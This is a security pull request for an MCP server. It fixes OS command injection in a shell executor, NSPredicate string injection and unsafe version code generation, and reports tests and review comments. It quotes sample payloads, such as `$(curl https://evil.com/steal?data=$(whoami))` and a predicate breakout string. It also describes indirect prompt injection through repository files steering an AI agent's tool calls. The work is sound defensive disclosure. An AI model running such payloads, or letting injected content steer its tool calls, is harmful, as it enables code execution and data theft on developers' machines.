fix: CWE-78 shell injection via unsafe argument escaping in command executor

[sebastiondev]

Vulnerability Summary

CWE-78: OS Command Injection — Severity: High

Data Flow

User-controlled MCP tool parameters (scheme, projectPath, workspacePath) flow through the following path:

1. MCP tool handler (e.g., build_run_sim, build_sim, test_sim) receives z.string() params with no content validation
2. → inferPlatform() → detectPlatformFromScheme() in src/utils/platform-detection.ts:84
3. → executor(["xcodebuild", "-showBuildSettings", "-scheme", scheme, "-project", path], "Platform Detection", true) — note useShell=true
4. → defaultExecutor() in src/utils/command.ts constructs a shell command string
5. → Old code: wraps args in double quotes, escaping only " and \ — but $(), backticks, ;, | etc. remain live inside double quotes
6. → /bin/sh -c "xcodebuild -showBuildSettings -scheme \"$(curl evil.com)\" ..." — shell evaluates the injection payload

Exploit Example

A crafted scheme parameter like $(curl https://evil.com/steal?data=$(whoami)) would be double-quoted as-is. Since $() is evaluated inside double quotes by the shell, this achieves arbitrary command execution with the developer's user privileges.

The attacker needs to influence the AI agent's tool call parameters, which could happen via indirect prompt injection from malicious files in a repository, a compromised MCP client, or manipulated conversation context.

Mitigating Factors

• The MCP server uses stdio transport (not network-exposed) — the attacker must influence the AI agent, not connect directly
• Most MCP clients show tool calls for user review (though auto-approval is increasingly common)
• useShell=true has only one production caller (detectPlatformFromScheme), limiting the attack surface

---

Fix Description

This PR addresses 3 injection vectors across 4 files:

1. Shell argument escaping — src/utils/command.ts + src/utils/shell-escape.ts (new)

Problem: The defaultExecutor used hand-rolled double-quote escaping that only escaped " and \, leaving $(), backticks, ;, |, and other shell metacharacters exploitable when useShell=true.

Fix: Introduced shellEscapeArg() using the standard POSIX single-quote escaping technique. Single-quoted strings in POSIX shells have no interpretation at all — no variable expansion, no command substitution, no metacharacter processing. Embedded single quotes are handled by ending the quote, inserting an escaped literal single quote, and reopening the quote ('\\'').

This is the same technique used by Python's shlex.quote(), Ruby's Shellwords.shellescape(), and most security-reviewed implementations.

2. NSPredicate string escaping — src/utils/log_capture.ts

Problem: bundleId and custom subsystem filter strings were interpolated directly into NSPredicate double-quoted string literals without escaping. A crafted bundleId like io.evil" OR 1==1 OR subsystem == "x could break out of the predicate string context.

Fix: Added escapePredicateString() that backslash-escapes \ then " (order matters) for all values interpolated into "..." predicate contexts. This is NSPredicate-level injection prevention. The predicate is passed as an array element with useShell=false, so this is correctly scoped.

3. Code generation hardening — scripts/generate-version.ts

Problem: Version strings from package.json were interpolated directly into single-quoted TypeScript source strings via template literals. A compromised package.json with a crafted value could inject arbitrary code into the generated version.ts.

Fix: Defense-in-depth with two layers:

• Regex whitelist (VERSION_REGEX) validates all version values against a strict semver pattern before use
• JSON.stringify() replaces raw template interpolation, producing properly escaped double-quoted strings in the output

---

Known Unfixed Instances

Important: This PR fixes the useShell=true path in command.ts, but two additional CWE-78 instances exist that bypass this fix entirely because they construct shell command strings manually via template literals and pass them to /bin/sh -c with useShell=false:

File	Lines	Pattern	Status
src/utils/bundle-id.ts	4, 16, 19	appPath interpolated into template literal passed to /bin/sh -c	Unfixed
src/mcp/tools/project-discovery/get_mac_bundle_id.ts	19, 62, 68	Same duplicated pattern	Unfixed

Recommended followup: Refactor these to use spawn arrays without shell (the default useShell=false path):

// Instead of: executor(["/bin/sh", "-c", `defaults read "${appPath}/Info" CFBundleIdentifier`])
// Use:        executor(["defaults", "read", `${appPath}/Info`, "CFBundleIdentifier"])

The included tests (bundle-id-injection.test.ts, mac-bundle-id-injection.test.ts) document these unfixed vectors so they can be addressed in a follow-up PR.

---

Test Results

Framework: Vitest v3.2.4

Category	Files	Tests	Passed	Failed	Skipped
Pre-existing	133	1506	1491	0	15
New (fix regression tests)	3	30	30	0	0
New (unfixed vector documentation)	2	6	6	0	0
Total	138	1542	1527	0	15

✅ Zero regressions. The 15 skips are pre-existing (xcode-state-reader, sync_xcode_defaults, environment-specific).

Additional checks:

• tsc --noEmit — ✅ No type errors
• npm run build (tsup production build) — ✅ Build succeeds

New Test Files

Test File	Tests	Coverage
shell-escape.test.ts	13	Simple strings, empty input, embedded single quotes, $(), backticks, ;, |, newlines, backslashes, realistic malicious appPath
log_capture_escape.test.ts	5	Double-quote breakout in bundleId (app/swiftui/custom modes), backslash escaping, normal passthrough
generate-version-validation.test.ts	12	Regex accepts valid semver (incl. pre-release with hyphens, build metadata); rejects injection payloads; JSON.stringify defense-in-depth
bundle-id-injection.test.ts	4	Documents unfixed $(id), semicolon, backtick injection in bundle-id.ts
mac-bundle-id-injection.test.ts	2	Documents unfixed $(id) injection in get_mac_bundle_id.ts

---

Disprove Analysis

We systematically attempted to disprove this finding. Here are the results:

Is the vulnerable code reachable with attacker-controlled input?

Yes. The only production caller passing useShell=true is detectPlatformFromScheme() in platform-detection.ts:84, which receives scheme, projectPath, and workspacePath from MCP tool parameters. These are validated only as z.string() with no content restrictions. Callers include build_run_sim, build_sim, test_sim, and simulator-defaults-refresh.

Are there existing mitigations?

Partial.

• Stdio transport means no direct network exposure — attacker must influence the AI agent
• MCP clients typically show tool calls for user review
• However, auto-approval is increasingly common, and indirect prompt injection from malicious repo files can influence agent behavior without user awareness

Is there authentication/authorization?

No. The MCP server has no auth layer. All tool parameters come from the AI agent, which processes user prompts and potentially untrusted project data.

Prior reports?

None. No CVEs or security issues found in the repo's issue tracker. The project has a SECURITY.md directing to GitHub Private Vulnerability Reporting.

Verdict

Confirmed valid. The old double-quote escaping demonstrably fails to prevent $() and backtick command substitution. The fix (POSIX single-quote escaping) is technically correct and addresses the vulnerable code path. Confidence: High.

---

Changes Summary

File	Change
src/utils/shell-escape.ts	New — POSIX single-quote escaping utility
src/utils/command.ts	Replace double-quote escaping with shellEscapeArg
src/utils/log_capture.ts	Add escapePredicateString() for NSPredicate contexts
scripts/generate-version.ts	Regex validation + JSON.stringify for version codegen
src/utils/__tests__/shell-escape.test.ts	13 regression tests for shell escaping
src/utils/__tests__/log_capture_escape.test.ts	5 tests for predicate escaping
src/utils/__tests__/generate-version-validation.test.ts	12 tests for version validation
src/utils/__tests__/bundle-id-injection.test.ts	4 tests documenting unfixed bundle-id vector
src/utils/__tests__/mac-bundle-id-injection.test.ts	2 tests documenting unfixed mac-bundle-id vector

[cursor]

Cursor Bugbot has reviewed your changes and found 2 potential issues.

^{Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.}

[cursor]

Duplicated VERSION_REGEX may drift from production

Low Severity

VERSION_REGEX is copy-pasted from scripts/generate-version.ts into the test file. Since generate-version.ts runs main() at import time and can't be imported, the regex is duplicated. If the production regex changes, the test will silently become stale and won't validate the actual production behavior. Extracting VERSION_REGEX and validateVersion into a separate importable module would keep them in sync.

Additional Locations (1)

• scripts/generate-version.ts#L9-L10

 

[sebastiondev]

Acknowledged — this is a fair point. The duplication exists because generate-version.ts calls main() at module scope, making it non-importable from tests without side effects.

For the scope of this security-focused PR, I think the duplication is acceptable: the test file has a clear comment explaining why it duplicates the regex, and the regex was already updated in both places in 58ec0fe to include hyphens.

A follow-up refactor to extract VERSION_REGEX and validateVersion into a shared module (and have generate-version.ts import from it) would be a clean improvement, but I'd prefer to keep this PR minimal. Happy to open that as a separate PR if the maintainers want it.